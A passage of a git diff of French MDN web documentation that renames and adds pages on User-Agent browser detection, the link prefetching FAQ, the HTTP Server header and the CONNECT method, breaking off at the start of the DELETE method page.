ChromeChrome/xyzChromium/xyz 
ChromiumChromium/xyz  
SafariSafari/xyzChrome/xyz ou Chromium/xyzSafari donne deux numéros de version, l'un technique au format Safari/xyz, l'autre plus convivial su format Version/xyz
Opera -

OPR/xyz [1]

- -

Opera/xyz [2]

- 		  -

[1]  Opera 15+ (moteur de rendu Blink) 

- -

[2] Opera 12- (moteur de rendu Presto)

-
Internet Explorer;MSIE xyz; Internet Explorer n'utilise pas le format NomDuNavigateur/NuméroDeVersion
- -

Il n'y a évidemment aucune garantie qu'aucun autre navigateur ne va utiliser ces notations (comme Chrome qui mentionne "Safari" dans son User-Agent). C'est pourquoi la détection du navigateur par ce moyen n'est pas fiable et ne doit être fait qu'en vérifiant aussi le numéro de version (il est peu probable qu'un navigateur mentionne dans son User-Agent le nom d'un autre navigateur dans une version plus ancienne).

- -

Version du navigateur

- -

La version du navigateur est souvent, mais pas toujours, écrite dans la valeur d'un ensemble clé/valeur NomDuNavigateur/NuméroDeVersion dans la chaîne de caractères du User-Agent. Ce n'est pas le cas d'Internet Explorer (qui écrit son numéro de version juste après la chaîne "MSIE"), et d'Opera après la version 10, qui ajoute une section Version/NuméroDeVersion.

- -

Encore une fois, assurez vous de regarder au bon endroit selon le navigateur visé car il n'y a aucune garantie de trouver un numéro de version valide dans le reste du User-Agent.

- -

Moteur de rendu

- -

Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre.

- -

Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Doit contenir 
GeckoGecko/xyz 
WebKitAppleWebKit/xyzAttention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs
PrestoOpera/xyzNote : Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink")
TridentTrident/xyzInternet Explorer place cette chaîne dans la partie commentaire du User-Agent
BlinkChrome/xyz 
- -

Version du moteur de rendu

- -

La plupart des moteurs de rendu placent leur numéro de version dans la section MoteurDeRendu/NuméroDeVersion, à l'exception notable de Gecko. Gecko place le numéro de version dans la partie commentaire après la chaîne rv:. Depuis la version 14 pour mobile et 17 pour les ordinateurs, il pace aussi cette valeur dans la section Gecko/version (les versions précédentes y plaçaient la date de compilation, puis une date fixe appelée "Gecko Trail").

- -

Système d'Exploitation

- -

Le système d'exploitation est dans la plupart des cas donné dans le User-Agent (il n'est pas donné dans des systèmes orientés web tels que Firefox OS) mais sous un format très variable. C'est une chaîne encadrée par des point-virgules, dans la partie commentaire du User-Agent. Cette chaîne est spécifique à chaque navigateur. Elle indique le nom du système d'exploitation et souvent sa version et des informations sur le matériel (32 ou 64 bits, ou Intel/PPC pour Mac).

- -

Comme pour le reste, ces chaînes peuvent changer dans le futur, elles doivent seulement être utilisées en conjonction avec la détection de navigateurs existants. Une veille technologique doit s'effectuer pour adapter le script de détection lorsque de nouvelles versions des navigateurs sortent.

- -

Mobile, tablette ou ordinateur

- -

La raison la plus courante de détecter le User-Agent et de déterminer sur quel type d'appareil fonctionne le navigateur. Le but est de servir un code HTML différent selon le type d'appareil.

- -
    -
  • Ne partez jamais du principe qu'un navigateur ne fonctionne que sur un seul type d'appareil. En particulier, ne pas définir de paramètre par défaut selon le navigateur.
    • -
  • N'utilisez jamais la chaîne dédiée au système d'exploitation pour déterminer si le navigateur est sur un mobile, une tablette ou un ordinateur. Le même système d'exploitation peut fonctionner sur plusieurs types d'appareil (par exemple, Android fonctionne aussi bien sur des tablettes que sur des téléphones).
    • -
- -

Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User Agent des navigateurs courants
NavigateurRègleExemple
Mozilla (Gecko, Firefox)Chaîne Mobile ou Tablet dans le commentaireMozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0
Basé sur WebKit (Android, Safari)Chaîne Mobile Safari hors du commentaireMozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Basé sur Blink (Chromium, Google Chrome, Opera 15+)Chaîne Mobile Safari token hors du commentaireMozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047
Basé sur Presto (Opera 12-) -

Chaîne Opera Mobi/xyz dans le commentaire (Opera 12-)

- 		-

Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50

-
Internet ExplorerChaîne IEMobile/xyz dans le commentaireMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
- -

En résumé, nous recommandons de chercher la chaîne "Mobi" dans le User-Agent pour détecter un appareil mobile.

- -

{{note("Si l'appareil est suffisamment grand pour ne pas être indiqué “Mobi“, il est préférable de servir la version du site pour ordinateur. De toute manière, supporter les interactions tactiles pour un site “pour ordinateur“ est une bonne pratique. En effet, de plus en plus d'ordinateurs sont équipés d'écrans tactiles.")}}

diff --git "a/files/fr/web/http/faq_sur_le_pr\303\251chargement_des_liens/index.html" "b/files/fr/web/http/faq_sur_le_pr\303\251chargement_des_liens/index.html" deleted file mode 100644 index c401133b7f..0000000000 --- "a/files/fr/web/http/faq_sur_le_pr\303\251chargement_des_liens/index.html" +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: FAQ sur le préchargement des liens -slug: Web/HTTP/FAQ_sur_le_préchargement_des_liens -tags: - - Développement_Web - - Gecko - - HTML - - HTTP -translation_of: Web/HTTP/Link_prefetching_FAQ ---- -

Qu’est ce que le préchargement de liens ?

- -

Le préchargement de liens est un mécanisme du navigateur qui utilise le temps disponible du navigateur pour télécharger ou précharger les documents que les utilisateurs pourraient visiter juste après. Une page web fournit un ensemble de cibles à précharger au navigateur. Une fois que le navigateur a fini de charger la page, il commence, de façon transparente, à précharger les documents spécifiés et les emmagasine dans son cache. Quand l’utilisateur visite un de ces documents préchargés, il peut être ressorti rapidement du cache du navigateur.

- -

Le préchargement fonctionne-t-il avec HTTPS ?

- -

À partir de Gecko 1.9.1 (Firefox 3.5), le contenu HTTPS peut être préchargé.

- -

Quelles sont les cibles à précharger ?

- -

Le navigateur cherche soit une balise HTML link, soit un en-tête HTTP Link: avec un type de relation next ou prefetch. Ci-dessous, un exemple d’utilisation de la balise link :

- -
<link rel="prefetch" href="/images/big.jpeg">
-
- -

La même cible à précharger, cette fois avec un en-tête HTTP Link: :

- -
Link: </images/big.jpeg>; rel=prefetch
-
- -

L’en-tête Link: peut également être spécifiée à l’intérieur d’un document HTML en utilisant une balise HTML meta :

- -
<meta http-equiv="Link" content="&lt;/images/big.jpeg&gt;; rel=prefetch">
-
- -

Le format pour l’en-tête Link:est décrit dans le RFC 2068 section 19.6.2.4.

- -
Note : Nous avons intentionnellement pris pour référence une version dépassée de la spécification HTTP/1.1 car la plus récente RFC 2616 ne décrit pas l’en-tête Link:. Bien que les en-têtes Link: ne fassent pas partie du standard révisé, ils sont toujours utilisés en pratique par les serveurs, pour renseigner les feuilles de styles CSS. Donc nous faisons usage de la même fonction ici.
- -

Le navigateur surveille toutes ces cibles et met en attente chaque requête unique qui doit ensuite être préchargée quand le navigateur est disponible. Il peut y avoir de multiples cibles par page, ainsi on peut comprendre l'utilité de précharger de multiples documents. Par exemple, le document suivant peut contenir plusieurs images lourdes.

- -

Quelques exemples en plus, ci-dessous :

- -
<link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css">
-<link rel="next" href="2.html">
-
- -

Les balises ancres (<a>) sont-elles préchargées ?

- -

Non, seulement les balises <link> avec une relation de type next ou prefetch sont préchargées. Toutefois, si l'intérêt en est suffisant, on peut étendre le support du préchargement de liens pour inclure le préchargement des balises <a>, lesquelles devront inclure un type de relation next ou prefetch. Cela aiderait probablement les fournisseurs de contenus à éviter le problème du préchargement de liens morts.

- -

Le préchargement de liens est-il respectueux des standards ?

- -

Oui, le préchargement de liens, comme exposé dans ce document, ne viole aucun standard Web existant. En fait, la spécification HTML 4.01 prend explicitement en compte la définition de nouveaux types de relation pour les liens (Section 6.12: types de liens (fr)). Toutefois, le mécanisme exact employé par Mozilla n’est pas encore standardisé. Une ébauche de spécification est en cours.

- -

Comment le temps disponible du navigateur est-il déterminé ?

- -

Dans l’implémentation actuelle (Mozilla 1.2), le temps disponible est déterminé par l’utilisation de l’API nsIWebProgressListener. On attache un écouteur à l’objet de haut-niveau nsIWebProgress ("@mozilla.org/docloaderservice;1"). De celui-ci, on reçoit les notifications de lancement et d’arrêt du document et nous estimons le temps disponible comme étant la période entre l’arrêt du dernier document et le lancement du document suivant. La dernière notification d’arrêt apparaît à peu près lorsque le gestionnaire onLoad se lance pour le document parent. C’est à ce moment que démarrent les requêtes de préchargement. Si une sous-frame contient des cibles à précharger, le préchargement ne commencera que lorsque la frame la plus haute et toutes ses frames filles auront fini de charger.

- -

Que se passe-t-il si je clique sur un lien pendant un préchargement ?

- -

Quand un utilisateur clique sur un lien ou initie toutes sortes de chargements de page, le préchargement des liens s’arrête et les préchargements de cibles sont abandonnés. Si un document préchargé est partiellement stocké, alors il est emmagasiné dans le cache à condition que le serveur envoie un en-tête de réponse de type Accept-Ranges: bytes. Cet en-tête est typiquement généré par les serveurs web quand ils gèrent du contenu statique. Quand l’utilisateur visite réellement un document préchargé, la portion restante est chargée en utilisant une requête HTTP byte-range.

- -

Et si je télécharge quelque chose en tâche de fond ? Le préchargement de liens viendra-t-il en concurrence pour la bande passante ?

- -

Oui et non. Si vous téléchargez quelque chose en utilisant Mozilla, le préchargement de liens sera retardé jusqu'à ce que les téléchargements en arrière-plan soit complets. Par exemple, si vous chargez un groupe de marque-pages (qui ouvre plusieurs onglets), toutes les requêtes de préchargement initiées par une de ces marque-pages ne se lanceront que lorsque tous les onglets auront fini de se charger. Si vous avez lancé une autre application qui utilise le réseau, le préchargement de liens dans Mozilla sera en compétition pour la bande passante, avec l’autre application. C’est un problème que nous espérons régler dans le futur en s’appuyant sur les services du système d’exploitation pour contrôler le temps disponible sur le réseau.

- -

Existe-t-il des restrictions sur ce qui peut être préchargé ?

- -

Oui, uniquement les URL http:// (et, à partir de {{ Gecko("1.9.1") }}, https://) peuvent être préchargées. Les autres protocoles (comme FTP) ne fournissent pas de support suffisamment riche pour la gestion du cache côté client. En plus de cette restriction, les URL ayant une chaîne de paramètres ne sont pas préchargées. Ceci parce que de telles URL sont souvent dans des documents qui ne peuvent pas être réutilisés en dehors du cache du navigateur. Donc précharger de telles URL n’apporterait pas grand chose. Nous avons constaté que des sites existants utilisent la balise <link rel="next"> avec des URL contenant des chaînes de paramètres pour référencer le document suivant dans une série de documents. Bugzilla est un de ces sites et il s'avère que les rapports de bug dans Bugzilla ne peuvent être mis en cache, aussi précharger ces URL reviendrait à peu près à doubler la charge de ce pauvre Bugzilla ! On peut se douter que d’autres sites ont été conçus comme Bugzilla donc on ne fait explicitement pas de préchargement d’URL contenant des chaînes de paramètres. (Il pourrait être sensé d’autoriser le préchargement de ces documents avec une relation de type rel=prefetch, puisque cela n'apparait pas dans aucun contenu existant). Il n’y a pas d’autres restrictions en ce qui concerne les URL préchargées.

- -

Mozilla peut-il précharger un document d’un hôte différent ?

- -

Oui. Il n’est pas nécessaire que les documents aient la même origine pour le préchargement de liens. Limiter le préchargement uniquement à des URL du même serveur n’augmenterait pas la sécurité du navigateur.

- -

Les requêtes préchargées contiennent-elles un en-tête Referer: ?

- -

Oui, les requêtes préchargées incluent une entête HTTP Referer: qui indique le document duquel la cible de préchargement a été extraite.

- -

Cela peut impacter l'analyse de l'affluence qui est communément utilisée sur de nombreux sites. Pour cette raison, le préchargement de liens peut ne pas être approprié pour toutes sortes de contenus. Toutefois, il est possible de contraindre Mozilla à valider un document préchargé quand l'utilisateur suit un href vers le document préchargé en spécifiant un en-tête de réponse HTTP Cache-control: must-revalidate. Cet en-tête permet la mise en cache mais requiert une requête de validation If-Modified-Since ou If-None-Match pour que le document soit servi à partir du cache du navigateur.

- -

En tant qu'administrateur serveur, puis-je distinguer les requêtes préchargées, des requêtes normales ?

- -

Oui, l'en-tête suivant est envoyé avec chaque requête préchargée :

- -
 X-moz: prefetch
-
- -

Bien sûr, cet en-tête de requête n'est absolument pas standardisé et il peut changer dans les futures versions de Mozilla.

- -

Existe-t-il une préférence pour désactiver le préchargement de liens ?

- -

Oui, il existe une préférence cachée pour désactiver le préchargement de liens. Ajoutez cette ligne dans votre fichier prefs.js qui se trouve dans votre répertoire de profil (ou faite le changement approprié via about:config) :

- -
 user_pref("network.prefetch-next", false);
-
- -

Toutefois, la théorie est que si le préchargement de liens a besoin d'être désactivé c'est qu'il doit y avoir un problème dans l'implémentation. On doit améliorer l'implémentation si ça ne marche pas correctement plutôt que d'attendre que l'utilisateur trouve et modifie une obscure préférence.

- -

Et pour les gens qui payent à la bande passante utilisée ?

- -

En fait, il y a deux façons d'aborder ce problème :

- -
    -
  1. Les sites Web peuvent provoquer le chargement de choses de façon transparente en utilisant des hacks JS/DOM.
    2. -
  2. Le préchargement est une fonctionnalité du navigateur, les utilisateurs devraient pouvoir le désactiver facilement.
    3. -
- -

Il est important que les sites web adoptent la balise <link> pour le préchargement, plutôt que d'essayer d'initier le chargement en tâche de fond avec des hacks JS/DOM. La balise <link> donne au navigateur la capacité de savoir quels sites sont à charger et on peut utiliser cette information pour améliorer le système de priorité du préchargement des liens. La préférence utilisateur pour désactiver le préchargement par la balise <link> encourage simplement les sites Web à s'abstenir d'utiliser des hacks JS/DOM. Cela n'apporterait rien de positif aux utilisateurs. C'est une des raisons pour lesquelles le préchargement est activé par défaut.

- -

Quels navigateurs supportent le préchargement de liens ?

- -

Les navigateurs basés sur Mozilla 1.2 (ou +) aussi bien que ceux basés sur Mozilla 1.0.2 (ou +) supportent le préchargement. Cela inclut Firefox et Netscape 7.02+. Les compilations Camino, en Mars 2003, sont basées sur Mozilla 1.0.1 et donc ne supportent pas le préchargement. Testez votre navigateur pour vérifier s'il supporte le préchargement de liens.

- -

D'autres questions ?

- -

Si vous avez des questions ou des commentaires sur le préchargement de liens, n'hésitez pas à me les envoyer :-)

- -

Voir également

- - - -
-

Informations sur le document original

- -
    -
  • Auteur(s) : Darin Fisher (darin@meer.net)
    • -
  • Date de dernière mise à jour : 3 mars 2003
    • -
-
- -

{{ languages( { "en": "en/Link_prefetching_FAQ", "it": "it/Link_prefetching_FAQ", "ja": "ja/Link_prefetching_FAQ" } ) }}

diff --git a/files/fr/web/http/headers/server/index.html b/files/fr/web/http/headers/server/index.html new file mode 100644 index 0000000000..d5712fc7ac --- /dev/null +++ b/files/fr/web/http/headers/server/index.html @@ -0,0 +1,72 @@ +--- +title: Serveur +slug: Web/HTTP/Headers/Serveur +tags: + - HTTP + - Reference + - header +translation_of: Web/HTTP/Headers/Server +--- +
{{ HTTPSidebar }}
+ +
 
+ +

Le paramètre d'entête Server contient des informations à propos du système (ou sous-système) en place sur le serveur qui s'occupe de la requête.

+ +

Il est préférable d'éviter les valeurs excessivement longues et/ou détaillées : elles peuvent révéler des détails internes qui pourraient rendre (un peu) plus facile une attaque et l'exploitation d'une éventuelle faille de sécurité.

+ + + + + + + + + + + + +
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
Server: <valeur>
+
+ +

Directives

+ +
+
<valeur>
+
Le nom du système (ou sous-système) qui gère les requêtes.
+
+ +

Exemples

+ +
Server: Apache/2.4.1 (Unix)
+ +

Spécifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "Server", "7.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ + + + + +

{{Compat("http.headers.Server")}}

+ +

Voir également

+ +
    +
  • {{HTTPHeader("Allow")}}
    • +
diff --git a/files/fr/web/http/headers/serveur/index.html b/files/fr/web/http/headers/serveur/index.html deleted file mode 100644 index d5712fc7ac..0000000000 --- a/files/fr/web/http/headers/serveur/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Serveur -slug: Web/HTTP/Headers/Serveur -tags: - - HTTP - - Reference - - header -translation_of: Web/HTTP/Headers/Server ---- -
{{ HTTPSidebar }}
- -
 
- -

Le paramètre d'entête Server contient des informations à propos du système (ou sous-système) en place sur le serveur qui s'occupe de la requête.

- -

Il est préférable d'éviter les valeurs excessivement longues et/ou détaillées : elles peuvent révéler des détails internes qui pourraient rendre (un peu) plus facile une attaque et l'exploitation d'une éventuelle faille de sécurité.

- - - - - - - - - - - - -
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
Server: <valeur>
-
- -

Directives

- -
-
<valeur>
-
Le nom du système (ou sous-système) qui gère les requêtes.
-
- -

Exemples

- -
Server: Apache/2.4.1 (Unix)
- -

Spécifications

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "Server", "7.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- - - - - -

{{Compat("http.headers.Server")}}

- -

Voir également

- -
    -
  • {{HTTPHeader("Allow")}}
    • -
diff --git a/files/fr/web/http/link_prefetching_faq/index.html b/files/fr/web/http/link_prefetching_faq/index.html new file mode 100644 index 0000000000..c401133b7f --- /dev/null +++ b/files/fr/web/http/link_prefetching_faq/index.html @@ -0,0 +1,134 @@ +--- +title: FAQ sur le préchargement des liens +slug: Web/HTTP/FAQ_sur_le_préchargement_des_liens +tags: + - Développement_Web + - Gecko + - HTML + - HTTP +translation_of: Web/HTTP/Link_prefetching_FAQ +--- +

Qu’est ce que le préchargement de liens ?

+ +

Le préchargement de liens est un mécanisme du navigateur qui utilise le temps disponible du navigateur pour télécharger ou précharger les documents que les utilisateurs pourraient visiter juste après. Une page web fournit un ensemble de cibles à précharger au navigateur. Une fois que le navigateur a fini de charger la page, il commence, de façon transparente, à précharger les documents spécifiés et les emmagasine dans son cache. Quand l’utilisateur visite un de ces documents préchargés, il peut être ressorti rapidement du cache du navigateur.

+ +

Le préchargement fonctionne-t-il avec HTTPS ?

+ +

À partir de Gecko 1.9.1 (Firefox 3.5), le contenu HTTPS peut être préchargé.

+ +

Quelles sont les cibles à précharger ?

+ +

Le navigateur cherche soit une balise HTML link, soit un en-tête HTTP Link: avec un type de relation next ou prefetch. Ci-dessous, un exemple d’utilisation de la balise link :

+ +
<link rel="prefetch" href="/images/big.jpeg">
+
+ +

La même cible à précharger, cette fois avec un en-tête HTTP Link: :

+ +
Link: </images/big.jpeg>; rel=prefetch
+
+ +

L’en-tête Link: peut également être spécifiée à l’intérieur d’un document HTML en utilisant une balise HTML meta :

+ +
<meta http-equiv="Link" content="&lt;/images/big.jpeg&gt;; rel=prefetch">
+
+ +

Le format pour l’en-tête Link:est décrit dans le RFC 2068 section 19.6.2.4.

+ +
Note : Nous avons intentionnellement pris pour référence une version dépassée de la spécification HTTP/1.1 car la plus récente RFC 2616 ne décrit pas l’en-tête Link:. Bien que les en-têtes Link: ne fassent pas partie du standard révisé, ils sont toujours utilisés en pratique par les serveurs, pour renseigner les feuilles de styles CSS. Donc nous faisons usage de la même fonction ici.
+ +

Le navigateur surveille toutes ces cibles et met en attente chaque requête unique qui doit ensuite être préchargée quand le navigateur est disponible. Il peut y avoir de multiples cibles par page, ainsi on peut comprendre l'utilité de précharger de multiples documents. Par exemple, le document suivant peut contenir plusieurs images lourdes.

+ +

Quelques exemples en plus, ci-dessous :

+ +
<link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css">
+<link rel="next" href="2.html">
+
+ +

Les balises ancres (<a>) sont-elles préchargées ?

+ +

Non, seulement les balises <link> avec une relation de type next ou prefetch sont préchargées. Toutefois, si l'intérêt en est suffisant, on peut étendre le support du préchargement de liens pour inclure le préchargement des balises <a>, lesquelles devront inclure un type de relation next ou prefetch. Cela aiderait probablement les fournisseurs de contenus à éviter le problème du préchargement de liens morts.

+ +

Le préchargement de liens est-il respectueux des standards ?

+ +

Oui, le préchargement de liens, comme exposé dans ce document, ne viole aucun standard Web existant. En fait, la spécification HTML 4.01 prend explicitement en compte la définition de nouveaux types de relation pour les liens (Section 6.12: types de liens (fr)). Toutefois, le mécanisme exact employé par Mozilla n’est pas encore standardisé. Une ébauche de spécification est en cours.

+ +

Comment le temps disponible du navigateur est-il déterminé ?

+ +

Dans l’implémentation actuelle (Mozilla 1.2), le temps disponible est déterminé par l’utilisation de l’API nsIWebProgressListener. On attache un écouteur à l’objet de haut-niveau nsIWebProgress ("@mozilla.org/docloaderservice;1"). De celui-ci, on reçoit les notifications de lancement et d’arrêt du document et nous estimons le temps disponible comme étant la période entre l’arrêt du dernier document et le lancement du document suivant. La dernière notification d’arrêt apparaît à peu près lorsque le gestionnaire onLoad se lance pour le document parent. C’est à ce moment que démarrent les requêtes de préchargement. Si une sous-frame contient des cibles à précharger, le préchargement ne commencera que lorsque la frame la plus haute et toutes ses frames filles auront fini de charger.

+ +

Que se passe-t-il si je clique sur un lien pendant un préchargement ?

+ +

Quand un utilisateur clique sur un lien ou initie toutes sortes de chargements de page, le préchargement des liens s’arrête et les préchargements de cibles sont abandonnés. Si un document préchargé est partiellement stocké, alors il est emmagasiné dans le cache à condition que le serveur envoie un en-tête de réponse de type Accept-Ranges: bytes. Cet en-tête est typiquement généré par les serveurs web quand ils gèrent du contenu statique. Quand l’utilisateur visite réellement un document préchargé, la portion restante est chargée en utilisant une requête HTTP byte-range.

+ +

Et si je télécharge quelque chose en tâche de fond ? Le préchargement de liens viendra-t-il en concurrence pour la bande passante ?

+ +

Oui et non. Si vous téléchargez quelque chose en utilisant Mozilla, le préchargement de liens sera retardé jusqu'à ce que les téléchargements en arrière-plan soit complets. Par exemple, si vous chargez un groupe de marque-pages (qui ouvre plusieurs onglets), toutes les requêtes de préchargement initiées par une de ces marque-pages ne se lanceront que lorsque tous les onglets auront fini de se charger. Si vous avez lancé une autre application qui utilise le réseau, le préchargement de liens dans Mozilla sera en compétition pour la bande passante, avec l’autre application. C’est un problème que nous espérons régler dans le futur en s’appuyant sur les services du système d’exploitation pour contrôler le temps disponible sur le réseau.

+ +

Existe-t-il des restrictions sur ce qui peut être préchargé ?

+ +

Oui, uniquement les URL http:// (et, à partir de {{ Gecko("1.9.1") }}, https://) peuvent être préchargées. Les autres protocoles (comme FTP) ne fournissent pas de support suffisamment riche pour la gestion du cache côté client. En plus de cette restriction, les URL ayant une chaîne de paramètres ne sont pas préchargées. Ceci parce que de telles URL sont souvent dans des documents qui ne peuvent pas être réutilisés en dehors du cache du navigateur. Donc précharger de telles URL n’apporterait pas grand chose. Nous avons constaté que des sites existants utilisent la balise <link rel="next"> avec des URL contenant des chaînes de paramètres pour référencer le document suivant dans une série de documents. Bugzilla est un de ces sites et il s'avère que les rapports de bug dans Bugzilla ne peuvent être mis en cache, aussi précharger ces URL reviendrait à peu près à doubler la charge de ce pauvre Bugzilla ! On peut se douter que d’autres sites ont été conçus comme Bugzilla donc on ne fait explicitement pas de préchargement d’URL contenant des chaînes de paramètres. (Il pourrait être sensé d’autoriser le préchargement de ces documents avec une relation de type rel=prefetch, puisque cela n'apparait pas dans aucun contenu existant). Il n’y a pas d’autres restrictions en ce qui concerne les URL préchargées.

+ +

Mozilla peut-il précharger un document d’un hôte différent ?

+ +

Oui. Il n’est pas nécessaire que les documents aient la même origine pour le préchargement de liens. Limiter le préchargement uniquement à des URL du même serveur n’augmenterait pas la sécurité du navigateur.

+ +

Les requêtes préchargées contiennent-elles un en-tête Referer: ?

+ +

Oui, les requêtes préchargées incluent une entête HTTP Referer: qui indique le document duquel la cible de préchargement a été extraite.

+ +

Cela peut impacter l'analyse de l'affluence qui est communément utilisée sur de nombreux sites. Pour cette raison, le préchargement de liens peut ne pas être approprié pour toutes sortes de contenus. Toutefois, il est possible de contraindre Mozilla à valider un document préchargé quand l'utilisateur suit un href vers le document préchargé en spécifiant un en-tête de réponse HTTP Cache-control: must-revalidate. Cet en-tête permet la mise en cache mais requiert une requête de validation If-Modified-Since ou If-None-Match pour que le document soit servi à partir du cache du navigateur.

+ +

En tant qu'administrateur serveur, puis-je distinguer les requêtes préchargées, des requêtes normales ?

+ +

Oui, l'en-tête suivant est envoyé avec chaque requête préchargée :

+ +
 X-moz: prefetch
+
+ +

Bien sûr, cet en-tête de requête n'est absolument pas standardisé et il peut changer dans les futures versions de Mozilla.

+ +

Existe-t-il une préférence pour désactiver le préchargement de liens ?

+ +

Oui, il existe une préférence cachée pour désactiver le préchargement de liens. Ajoutez cette ligne dans votre fichier prefs.js qui se trouve dans votre répertoire de profil (ou faite le changement approprié via about:config) :

+ +
 user_pref("network.prefetch-next", false);
+
+ +

Toutefois, la théorie est que si le préchargement de liens a besoin d'être désactivé c'est qu'il doit y avoir un problème dans l'implémentation. On doit améliorer l'implémentation si ça ne marche pas correctement plutôt que d'attendre que l'utilisateur trouve et modifie une obscure préférence.

+ +

Et pour les gens qui payent à la bande passante utilisée ?

+ +

En fait, il y a deux façons d'aborder ce problème :

+ +
    +
  1. Les sites Web peuvent provoquer le chargement de choses de façon transparente en utilisant des hacks JS/DOM.
    2. +
  2. Le préchargement est une fonctionnalité du navigateur, les utilisateurs devraient pouvoir le désactiver facilement.
    3. +
+ +

Il est important que les sites web adoptent la balise <link> pour le préchargement, plutôt que d'essayer d'initier le chargement en tâche de fond avec des hacks JS/DOM. La balise <link> donne au navigateur la capacité de savoir quels sites sont à charger et on peut utiliser cette information pour améliorer le système de priorité du préchargement des liens. La préférence utilisateur pour désactiver le préchargement par la balise <link> encourage simplement les sites Web à s'abstenir d'utiliser des hacks JS/DOM. Cela n'apporterait rien de positif aux utilisateurs. C'est une des raisons pour lesquelles le préchargement est activé par défaut.

+ +

Quels navigateurs supportent le préchargement de liens ?

+ +

Les navigateurs basés sur Mozilla 1.2 (ou +) aussi bien que ceux basés sur Mozilla 1.0.2 (ou +) supportent le préchargement. Cela inclut Firefox et Netscape 7.02+. Les compilations Camino, en Mars 2003, sont basées sur Mozilla 1.0.1 et donc ne supportent pas le préchargement. Testez votre navigateur pour vérifier s'il supporte le préchargement de liens.

+ +

D'autres questions ?

+ +

Si vous avez des questions ou des commentaires sur le préchargement de liens, n'hésitez pas à me les envoyer :-)

+ +

Voir également

+ + + +
+

Informations sur le document original

+ +
    +
  • Auteur(s) : Darin Fisher (darin@meer.net)
    • +
  • Date de dernière mise à jour : 3 mars 2003
    • +
+
+ +

{{ languages( { "en": "en/Link_prefetching_FAQ", "it": "it/Link_prefetching_FAQ", "ja": "ja/Link_prefetching_FAQ" } ) }}

diff --git a/files/fr/web/http/methods/connect/index.html b/files/fr/web/http/methods/connect/index.html new file mode 100644 index 0000000000..62b1ee7d6c --- /dev/null +++ b/files/fr/web/http/methods/connect/index.html @@ -0,0 +1,86 @@ +--- +title: CONNECT +slug: Web/HTTP/Méthode/CONNECT +tags: + - HTTP + - Reference + - Request method +translation_of: Web/HTTP/Methods/CONNECT +--- +
{{HTTPSidebar}}
+ +

La méthode HTTP CONNECT crée une communication bidirectionnelle avec la ressource demandée. Elle peut être utilisée pour ouvrir un tunnel.

+ +

Par exemple, la méthode CONNECT peut être utilisée pour accéder à des sites web qui utilisent {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Le client demande à un serveur Proxy HTTP de créer un tunnel TCP vers la destination désirée. Le serveur poursuit alors afin d'établir la connexion pour le compte du client. Une fois que la connexion a été établie par le serveur, le serveur Proxy continue de gérer le flux TCP à destination et en provenance du client.

+ +

CONNECT est une méthode "saut-par-saut".

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
La requête a un corpsOui
Une réponse de succès a un corpsOui
{{Glossary("Sûre")}}Non
{{Glossary("Idempotente")}}Non
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
+ +

Syntaxe

+ +
CONNECT www.example.com:443 HTTP/1.1
+
+ +

Exemple

+ +

Certains serveurs proxy pourraient avoir besoin d'une autorisation pour créer un tunnel. Voir aussi l'en-tête {{HTTPHeader("Proxy-Authorization")}}.

+ +
CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "CONNECT", "4.3.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("http/methods", "CONNECT")}}

+ +

Voir aussi

+ +
    +
  • {{Glossary("Proxy server")}}
    • +
  • {{HTTPHeader("Proxy-Authorization")}}
    • +
diff --git a/files/fr/web/http/methods/delete/index.html b/files/fr/web/http/methods/delete/index.html new file mode 100644 index 0000000000..d2a40a8ea9 --- /dev/null +++ b/files/fr/web/http/methods/delete/index.html @@ -0,0 +1,93 @@ +--- +title: DELETE +slug: Web/HTTP/Méthode/DELETE +tags: + - HTTP + - HTTP method + - Reference + - Request method +translation_of: Web/HTTP/Methods/DELETE +--- +
{{HTTPSidebar}}
+ +

